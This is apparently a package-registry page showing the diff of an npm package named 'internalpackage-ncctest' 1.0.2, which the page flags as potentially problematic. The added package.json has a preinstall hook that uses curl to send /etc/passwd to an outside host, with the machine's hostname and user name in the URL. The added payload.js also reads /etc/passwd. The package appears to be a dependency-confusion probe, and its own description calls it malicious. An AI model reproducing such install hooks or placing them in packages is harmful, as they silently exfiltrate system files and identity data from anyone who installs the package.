internalpackage-ncctest 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of internalpackage-ncctest might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +12 -0
  2. package/payload.js +15 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "internalpackage-ncctest",
3
+ "version": "1.0.2",
4
+ "description": "Malicious package",
5
+ "main": "payload.js",
6
+ "scripts": {
7
+ "preinstall": "curl -d @/etc/passwd http://sfbf7rj3tysgcqe7k2f68nat0k6bu1iq.nccburp.uk/`hostname`/`whoami`/",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/payload.js ADDED
@@ -0,0 +1,15 @@
1
+ //payload.js
2
+ // get filesystem module
3
+ const fs = require("fs");
4
+
5
+ // using the readFileSync() function
6
+ // and passing the path to the file
7
+ const buffer = fs.readFileSync("/etc/passwd");
8
+
9
+ console.log(buffer);
10
+
11
+ function getName() {
12
+ return buffer.toString();
13
+ }
14
+
15
+ module.exports = {str:'World',func:getName};